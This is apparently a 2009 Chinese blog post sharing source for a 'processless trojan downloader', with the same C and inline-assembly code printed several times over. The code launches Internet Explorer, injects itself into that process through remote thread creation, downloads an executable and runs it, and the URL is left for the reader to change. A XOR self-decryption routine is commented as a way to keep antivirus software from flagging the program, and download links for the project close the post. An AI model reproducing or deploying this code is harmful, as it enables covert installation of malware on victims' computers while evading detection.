VC无进程木马下载器源码

一、 打开半年前的一个工程，是利用IE来隐藏进程下载的实例，我想灰鸽子也是类似原理吧！

      下面是程序的主要思路：

      1.获取程序自身路径，启动IE进程

      2.获取到IE进程句柄

      3.分配内存

      4.获取进程映像的地址

      5.得到内存镜像大小

      6.确定起始基址和内存映像基址的位置

      7.写内存，创建线程，写数据

      8.建立远程线程并运行,关闭对象

二、下面是源码 ，举例下载迅雷而矣：

view plaincopy to clipboardprint?

1. view plaincopy to clipboardprint?  
2. /*   
3.     VC无进程木马下载器   
4.     By: Kardinal and 寂寞的狼   
5.     2009.3.10   
6. */    
7.     
8. #include <windows.h>     
9.     
10. #pragma comment(lib,"user32.lib")     
11. #pragma comment(lib,"kernel32.lib")     
12.     
13. //取消这4行的注释，可编译出2K大的文件     
14. //#pragma comment(linker,"/OPT:NOWIN98")     
15. //#pragma comment(linker,"/merge:.data=.text")     
16. //#pragma comment(linker,"/merge:.rdata=.text")     
17. //#pragma comment(linker,"/align:0x200")     
18.     
19. #pragma comment(linker,"/ENTRY:decrpt")     
20. #pragma comment(linker,"/subsystem:windows")     
21. #pragma comment(linker,"/BASE:0x13150000")     
22.     
23. //动态加载shell32.dll中的ShellExecuteA函数     
24. HINSTANCE (WINAPI *SHELLRUN)(HWND,LPCTSTR,LPCTSTR,LPCTSTR,LPCTSTR,int);     
25.     
26. //动态加载Urlmon.dll中的UrlDownloadToFileA函数     
27. DWORD (WINAPI *DOWNFILE)(LPCTSTR,LPCTSTR,LPCTSTR,DWORD,LPCTSTR);     
28.     
29. //建立远程线程，并运行     
30. HANDLE (WINAPI *MYINJECT) (HANDLE, LPSECURITY_ATTRIBUTES, DWORD,LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);      
31.     
32. void decrpt();     
33.     
34. HANDLE processhandle;     
35. DWORD pid;     
36. HINSTANCE hshell,hurlmon,hkernel;// HINSTANCE与HMOUDLE是通用     
37.     
38. // 注入使用的下载函数     
39. void download()     
40. {     
41.     hshell  = LoadLibrary("Shell32.dll");     
42.     hurlmon = LoadLibrary("urlmon.dll");     
43.     (FARPROC&)SHELLRUN = GetProcAddress(hshell,"ShellExecuteA");     
44.     (FARPROC&)DOWNFILE = GetProcAddress(hurlmon,"UrlDownloadToFileA");     
45.          
46.     //下载的文件自行调整     
47.     DOWNFILE(NULL,"http://down.sandai.net/Thunder5.9.5.990.exe","C://xunlei.exe",0,NULL);     
48.     SHELLRUN(0,"open","C://xunlei.exe",NULL,NULL,5);     
49.     ExitProcess(0);     
50. }     
51.     
52. void main()     
53. {     
54.     char iename[MAX_PATH],iepath[MAX_PATH];     
55.     ZeroMemory(iename,sizeof(iename));     
56.     ZeroMemory(iepath,sizeof(iepath));     
57.     
58.     // 1.获取程序自身路径，启动IE进程     
59.     GetWindowsDirectory(iepath,MAX_PATH);     
60.     strncpy(iename,iepath,3);     
61.     strcat(iename,"C://Program Files//Internet Explorer//IEXPLORE.EXE");     
62.     WinExec(iename,SW_SHOWNORMAL);     
63.     Sleep(500);     
64.     
65.     // 2.得到IE进程句柄     
66.     HWND    htemp;     
67.     htemp = FindWindow("IEFrame",NULL);     
68.     GetWindowThreadProcessId(htemp,&pid);     
69.     
70.     // 3.分配内存     
71.     HMODULE Module;     
72.     LPVOID  NewModule;     
73.     DWORD   Size;     
74.     LPDWORD lpimagesize;     
75.     
76.     // 4.进程映像的地址     
77.     Module = GetModuleHandle(NULL);     
78.     
79.     // 5.得到内存镜像大小     
80.     _asm      
81.     {      
82.         push eax;      
83.         push ebx;      
84.         mov ebx,Module;      
85.         mov eax,[ebx+0x3c];      
86.         lea eax,[ebx+eax+0x50];      
87.         mov eax,[eax]      
88.             mov lpimagesize,eax;      
89.         pop ebx;      
90.         pop eax;      
91.     };      
92.     Size=(DWORD)lpimagesize;      
93.     
94.     // 确定起始基址和内存映像基址的位置     
95.     NewModule = VirtualAllocEx(processhandle, Module, Size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);       
96.     
97.     // 6.写内存，创建线程，写数据     
98.     WriteProcessMemory(processhandle, NewModule, Module, Size, NULL);     
99.     LPTHREAD_START_ROUTINE entrypoint;      
100.     __asm      
101.     {      
102.         push eax;      
103.         lea eax,download;      
104.         mov entrypoint,eax;      
105.         pop eax      
106.     }      
107.     hkernel=LoadLibrary("KERNEL32.dll");      
108.     (FARPROC&)MYINJECT= GetProcAddress(hkernel,"CreateRemoteThread");      
109.     MYINJECT(processhandle, NULL, 0, entrypoint, Module, 0, NULL); //建立远程线程,并运行      
110.          
111.     // 7.关闭对象      
112.     CloseHandle(processhandle);      
113.          
114.     return;      
115. } ;      
116.     
117. // 解密函数      
118. void decrpt()      
119. {      
120.     HANDLE myps;      
121.     DWORD oldAttr;      
122.     BYTE shellcode[500];      
123.     ZeroMemory(shellcode,sizeof(shellcode));      
124.     myps=GetCurrentProcess();      
125.     ::VirtualProtectEx(myps,&download,0x1000,PAGE_EXECUTE_READWRITE,&oldAttr);      
126.     
127.     //先把原代码,搬移到变量中保存起来      
128.     _asm      
129.     {      
130.         pushad;      
131.         lea esi,download;     
132.         lea edi,shellcode;      
133.         lea ecx,decrpt;      
134.         sub ecx,esi;      
135. en1:      
136.         lodsb;      
137.         stosb;      
138.         dec ecx;      
139.         jne en1;      
140.         popad;      
141.              
142.     };      
143.          
144.     //解密搬回      
145.     int i;      
146.     for (i=1;i<=0xFF;i++)      
147.     {      
148.         _asm      
149.         {      
150.             pushad;      
151.             lea esi,shellcode;      
152.             lea edi,download;      
153.             lea ecx,decrpt;      
154.             sub ecx,edi;      
155. en2:      
156.             lodsb;      
157.             mov ebx,i;      
158.             xor al,bl;      
159.             stosb;      
160.             dec ecx;      
161.             jne en2;      
162.             popad;      
163.                  
164.         };      
165.              
166.         //此结构的的作用在于使一般的杀毒软件无法探测出来是病毒.      
167.         __try      
168.         {      
169.             main();      
170.             return;      
171.         }      
172.         __except(EXCEPTION_EXECUTE_HANDLER)      
173.         {                
174.         };      
175.              
176.     }      
177.     return;          
178. }    
179. /* 
180.     VC无进程木马下载器 
181.  By: Kardinal and 寂寞的狼 
182.  2009.3.10 
183. */  
184.   
185. #include <windows.h>  
186.   
187. #pragma comment(lib,"user32.lib")  
188. #pragma comment(lib,"kernel32.lib")  
189.   
190. //取消这4行的注释，可编译出2K大的文件  
191. //#pragma comment(linker,"/OPT:NOWIN98")  
192. //#pragma comment(linker,"/merge:.data=.text")  
193. //#pragma comment(linker,"/merge:.rdata=.text")  
194. //#pragma comment(linker,"/align:0x200")  
195.   
196. #pragma comment(linker,"/ENTRY:decrpt")  
197. #pragma comment(linker,"/subsystem:windows")  
198. #pragma comment(linker,"/BASE:0x13150000")  
199.   
200. //动态加载shell32.dll中的ShellExecuteA函数  
201. HINSTANCE (WINAPI *SHELLRUN)(HWND,LPCTSTR,LPCTSTR,LPCTSTR,LPCTSTR,int);  
202.   
203. //动态加载Urlmon.dll中的UrlDownloadToFileA函数  
204. DWORD (WINAPI *DOWNFILE)(LPCTSTR,LPCTSTR,LPCTSTR,DWORD,LPCTSTR);  
205.   
206. //建立远程线程，并运行  
207. HANDLE (WINAPI *MYINJECT) (HANDLE, LPSECURITY_ATTRIBUTES, DWORD,LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);   
208.   
209. void decrpt();  
210.   
211. HANDLE processhandle;  
212. DWORD pid;  
213. HINSTANCE hshell,hurlmon,hkernel;// HINSTANCE与HMOUDLE是通用  
214.   
215. // 注入使用的下载函数  
216. void download()  
217. {  
218.  hshell = LoadLibrary("Shell32.dll");  
219.  hurlmon = LoadLibrary("urlmon.dll");  
220.  (FARPROC&)SHELLRUN = GetProcAddress(hshell,"ShellExecuteA");  
221.  (FARPROC&)DOWNFILE = GetProcAddress(hurlmon,"UrlDownloadToFileA");  
222.    
223.  //下载的文件自行调整  
224.  DOWNFILE(NULL,"http://down.sandai.net/Thunder5.9.5.990.exe","C://xunlei.exe",0,NULL);  
225.  SHELLRUN(0,"open","C://xunlei.exe",NULL,NULL,5);  
226.  ExitProcess(0);  
227. }  
228.   
229. void main()  
230. {  
231.  char iename[MAX_PATH],iepath[MAX_PATH];  
232.  ZeroMemory(iename,sizeof(iename));  
233.  ZeroMemory(iepath,sizeof(iepath));  
234.   
235.  // 1.获取程序自身路径，启动IE进程  
236.  GetWindowsDirectory(iepath,MAX_PATH);  
237.  strncpy(iename,iepath,3);  
238.  strcat(iename,"C://Program Files//Internet Explorer//IEXPLORE.EXE");  
239.  WinExec(iename,SW_SHOWNORMAL);  
240.  Sleep(500);  
241.   
242.  // 2.得到IE进程句柄  
243.  HWND htemp;  
244.  htemp = FindWindow("IEFrame",NULL);  
245.  GetWindowThreadProcessId(htemp,&pid);  
246.   
247.  // 3.分配内存  
248.  HMODULE Module;  
249.  LPVOID NewModule;  
250.  DWORD Size;  
251.  LPDWORD lpimagesize;  
252.   
253.  // 4.进程映像的地址  
254.  Module = GetModuleHandle(NULL);  
255.   
256.  // 5.得到内存镜像大小  
257.  _asm   
258.  {   
259.   push eax;   
260.   push ebx;   
261.   mov ebx,Module;   
262.   mov eax,[ebx+0x3c];   
263.   lea eax,[ebx+eax+0x50];   
264.   mov eax,[eax]   
265.    mov lpimagesize,eax;   
266.   pop ebx;   
267.   pop eax;   
268.  };   
269.  Size=(DWORD)lpimagesize;   
270.   
271.  // 确定起始基址和内存映像基址的位置  
272.  NewModule = VirtualAllocEx(processhandle, Module, Size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);    
273.   
274.  // 6.写内存，创建线程，写数据  
275.  WriteProcessMemory(processhandle, NewModule, Module, Size, NULL);  
276.  LPTHREAD_START_ROUTINE entrypoint;   
277.  __asm   
278.  {   
279.   push eax;   
280.   lea eax,download;   
281.   mov entrypoint,eax;   
282.   pop eax   
283.  }   
284.  hkernel=LoadLibrary("KERNEL32.dll");   
285.  (FARPROC&)MYINJECT= GetProcAddress(hkernel,"CreateRemoteThread");   
286.  MYINJECT(processhandle, NULL, 0, entrypoint, Module, 0, NULL); //建立远程线程,并运行   
287.    
288.  // 7.关闭对象   
289.  CloseHandle(processhandle);   
290.    
291.  return;   
292. } ;   
293.   
294. // 解密函数   
295. void decrpt()   
296. {   
297.  HANDLE myps;   
298.  DWORD oldAttr;   
299.  BYTE shellcode[500];   
300.  ZeroMemory(shellcode,sizeof(shellcode));   
301.  myps=GetCurrentProcess();   
302.  ::VirtualProtectEx(myps,&download,0x1000,PAGE_EXECUTE_READWRITE,&oldAttr);   
303.   
304.  //先把原代码,搬移到变量中保存起来   
305.  _asm   
306.  {   
307.   pushad;   
308.   lea esi,download;  
309.   lea edi,shellcode;   
310.   lea ecx,decrpt;   
311.   sub ecx,esi;   
312. en1:   
313.   lodsb;   
314.   stosb;   
315.   dec ecx;   
316.   jne en1;   
317.   popad;   
318.     
319.  };   
320.    
321.  //解密搬回   
322.  int i;   
323.  for (i=1;i<=0xFF;i++)   
324.  {   
325.   _asm   
326.   {   
327.    pushad;   
328.    lea esi,shellcode;   
329.    lea edi,download;   
330.    lea ecx,decrpt;   
331.    sub ecx,edi;   
332. en2:   
333.    lodsb;   
334.    mov ebx,i;   
335.    xor al,bl;   
336.    stosb;   
337.    dec ecx;   
338.    jne en2;   
339.    popad;   
340.      
341.   };   
342.     
343.   //此结构的的作用在于使一般的杀毒软件无法探测出来是病毒.   
344.   __try   
345.   {   
346.    main();   
347.    return;   
348.   }   
349.   __except(EXCEPTION_EXECUTE_HANDLER)   
350.   {      
351.   };   
352.     
353.  }   
354.  return;    
355. }  

view plaincopy to clipboardprint?/* VC无进程木马下载器 By: Kardinal and 寂寞的狼 2009.3.10 */ #include <windows.h> #pragma comment(lib,"user32.lib") #pragma comment(lib,"kernel32.lib") //取消这4行的注释，可编译出2K大的文件 //#pragma comment(linker,"/OPT:NOWIN98") //#pragma comment(linker,"/merge:.data=.text") //#pragma comment(linker,"/merge:.rdata=.text") //#pragma comment(linker,"/align:0x200") #pragma comment(linker,"/ENTRY:decrpt") #pragma comment(linker,"/subsystem:windows") #pragma comment(linker,"/BASE:0x13150000") //动态加载shell32.dll中的ShellExecuteA函数 HINSTANCE (WINAPI *SHELLRUN)(HWND,LPCTSTR,LPCTSTR,LPCTSTR,LPCTSTR,int); //动态加载Urlmon.dll中的UrlDownloadToFileA函数 DWORD (WINAPI *DOWNFILE)(LPCTSTR,LPCTSTR,LPCTSTR,DWORD,LPCTSTR); //建立远程线程，并运行 HANDLE (WINAPI *MYINJECT) (HANDLE, LPSECURITY_ATTRIBUTES, DWORD,LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD); void decrpt(); HANDLE processhandle; DWORD pid; HINSTANCE hshell,hurlmon,hkernel;// HINSTANCE与HMOUDLE是通用 // 注入使用的下载函数 void download() { hshell = LoadLibrary("Shell32.dll"); hurlmon = LoadLibrary("urlmon.dll"); (FARPROC&)SHELLRUN = GetProcAddress(hshell,"ShellExecuteA"); (FARPROC&)DOWNFILE = GetProcAddress(hurlmon,"UrlDownloadToFileA"); //下载的文件自行调整 DOWNFILE(NULL,"http://down.sandai.net/Thunder5.9.5.990.exe","C://xunlei.exe",0,NULL); SHELLRUN(0,"open","C://xunlei.exe",NULL,NULL,5); ExitProcess(0); } void main() { char iename[MAX_PATH],iepath[MAX_PATH]; ZeroMemory(iename,sizeof(iename)); ZeroMemory(iepath,sizeof(iepath)); // 1.获取程序自身路径，启动IE进程 GetWindowsDirectory(iepath,MAX_PATH); strncpy(iename,iepath,3); strcat(iename,"C://Program Files//Internet Explorer//IEXPLORE.EXE"); WinExec(iename,SW_SHOWNORMAL); Sleep(500); // 2.得到IE进程句柄 HWND htemp; htemp = FindWindow("IEFrame",NULL); GetWindowThreadProcessId(htemp,&pid); // 3.分配内存 HMODULE Module; LPVOID NewModule; DWORD Size; LPDWORD lpimagesize; // 4.进程映像的地址 Module = GetModuleHandle(NULL); // 5.得到内存镜像大小 _asm { push eax; push ebx; mov ebx,Module; mov eax,[ebx+0x3c]; lea eax,[ebx+eax+0x50]; mov eax,[eax] mov lpimagesize,eax; pop ebx; pop eax; }; Size=(DWORD)lpimagesize; // 确定起始基址和内存映像基址的位置 NewModule = VirtualAllocEx(processhandle, Module, Size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); // 6.写内存，创建线程，写数据 WriteProcessMemory(processhandle, NewModule, Module, Size, NULL); LPTHREAD_START_ROUTINE entrypoint; __asm { push eax; lea eax,download; mov entrypoint,eax; pop eax } hkernel=LoadLibrary("KERNEL32.dll"); (FARPROC&)MYINJECT= GetProcAddress(hkernel,"CreateRemoteThread"); MYINJECT(processhandle, NULL, 0, entrypoint, Module, 0, NULL); //建立远程线程,并运行 // 7.关闭对象 CloseHandle(processhandle); return; } ; // 解密函数 void decrpt() { HANDLE myps; DWORD oldAttr; BYTE shellcode[500]; ZeroMemory(shellcode,sizeof(shellcode)); myps=GetCurrentProcess(); ::VirtualProtectEx(myps,&download,0x1000,PAGE_EXECUTE_READWRITE,&oldAttr); //先把原代码,搬移到变量中保存起来 _asm { pushad; lea esi,download; lea edi,shellcode; lea ecx,decrpt; sub ecx,esi; en1: lodsb; stosb; dec ecx; jne en1; popad; }; //解密搬回 int i; for (i=1;i<=0xFF;i++) { _asm { pushad; lea esi,shellcode; lea edi,download; lea ecx,decrpt; sub ecx,edi; en2: lodsb; mov ebx,i; xor al,bl; stosb; dec ecx; jne en2; popad; }; //此结构的的作用在于使一般的杀毒软件无法探测出来是病毒. __try { main(); return; } __except(EXCEPTION_EXECUTE_HANDLER) { }; } return; } /* VC无进程木马下载器 By: Kardinal and 寂寞的狼 2009.3.10*/#include <windows.h>#pragma comment(lib,"user32.lib")#pragma comment(lib,"kernel32.lib")//取消这4行的注释，可编译出2K大的文件//#pragma comment(linker,"/OPT:NOWIN98")//#pragma comment(linker,"/merge:.data=.text")//#pragma comment(linker,"/merge:.rdata=.text")//#pragma comment(linker,"/align:0x200")#pragma comment(linker,"/ENTRY:decrpt")#pragma comment(linker,"/subsystem:windows")#pragma comment(linker,"/BASE:0x13150000")//动态加载shell32.dll中的ShellExecuteA函数HINSTANCE (WINAPI *SHELLRUN)(HWND,LPCTSTR,LPCTSTR,LPCTSTR,LPCTSTR,int);//动态加载Urlmon.dll中的UrlDownloadToFileA函数DWORD (WINAPI *DOWNFILE)(LPCTSTR,LPCTSTR,LPCTSTR,DWORD,LPCTSTR);//建立远程线程，并运行HANDLE (WINAPI *MYINJECT) (HANDLE, LPSECURITY_ATTRIBUTES, DWORD,LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD); void decrpt();HANDLE processhandle;DWORD pid;HINSTANCE hshell,hurlmon,hkernel;// HINSTANCE与HMOUDLE是通用// 注入使用的下载函数void download(){ hshell = LoadLibrary("Shell32.dll"); hurlmon = LoadLibrary("urlmon.dll"); (FARPROC&)SHELLRUN = GetProcAddress(hshell,"ShellExecuteA"); (FARPROC&)DOWNFILE = GetProcAddress(hurlmon,"UrlDownloadToFileA"); //下载的文件自行调整 DOWNFILE(NULL,"http://down.sandai.net/Thunder5.9.5.990.exe","C://xunlei.exe",0,NULL); SHELLRUN(0,"open","C://xunlei.exe",NULL,NULL,5); ExitProcess(0);}void main(){ char iename[MAX_PATH],iepath[MAX_PATH]; ZeroMemory(iename,sizeof(iename)); ZeroMemory(iepath,sizeof(iepath)); // 1.获取程序自身路径，启动IE进程 GetWindowsDirectory(iepath,MAX_PATH); strncpy(iename,iepath,3); strcat(iename,"C://Program Files//Internet Explorer//IEXPLORE.EXE"); WinExec(iename,SW_SHOWNORMAL); Sleep(500); // 2.得到IE进程句柄 HWND htemp; htemp = FindWindow("IEFrame",NULL); GetWindowThreadProcessId(htemp,&pid); // 3.分配内存 HMODULE Module; LPVOID NewModule; DWORD Size; LPDWORD lpimagesize; // 4.进程映像的地址 Module = GetModuleHandle(NULL); // 5.得到内存镜像大小 _asm { push eax; push ebx; mov ebx,Module; mov eax,[ebx+0x3c]; lea eax,[ebx+eax+0x50]; mov eax,[eax] mov lpimagesize,eax; pop ebx; pop eax; }; Size=(DWORD)lpimagesize; // 确定起始基址和内存映像基址的位置 NewModule = VirtualAllocEx(processhandle, Module, Size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); // 6.写内存，创建线程，写数据 WriteProcessMemory(processhandle, NewModule, Module, Size, NULL); LPTHREAD_START_ROUTINE entrypoint; __asm { push eax; lea eax,download; mov entrypoint,eax; pop eax } hkernel=LoadLibrary("KERNEL32.dll"); (FARPROC&)MYINJECT= GetProcAddress(hkernel,"CreateRemoteThread"); MYINJECT(processhandle, NULL, 0, entrypoint, Module, 0, NULL); //建立远程线程,并运行 // 7.关闭对象 CloseHandle(processhandle); return; } ; // 解密函数 void decrpt() { HANDLE myps; DWORD oldAttr; BYTE shellcode[500]; ZeroMemory(shellcode,sizeof(shellcode)); myps=GetCurrentProcess(); ::VirtualProtectEx(myps,&download,0x1000,PAGE_EXECUTE_READWRITE,&oldAttr); //先把原代码,搬移到变量中保存起来 _asm { pushad; lea esi,download; lea edi,shellcode; lea ecx,decrpt; sub ecx,esi; en1: lodsb; stosb; dec ecx; jne en1; popad; }; //解密搬回 int i; for (i=1;i<=0xFF;i++) { _asm { pushad; lea esi,shellcode; lea edi,download; lea ecx,decrpt; sub ecx,edi; en2: lodsb; mov ebx,i; xor al,bl; stosb; dec ecx; jne en2; popad; }; //此结构的的作用在于使一般的杀毒软件无法探测出来是病毒. __try { main(); return; } __except(EXCEPTION_EXECUTE_HANDLER) { }; } return; }

三、工程及源码下载地址：

      http://download.csdn.net/source/1546155

      http://www.rayfile.com/files/77ea8ad9-80ff-11de-aeb2-0014221b798a/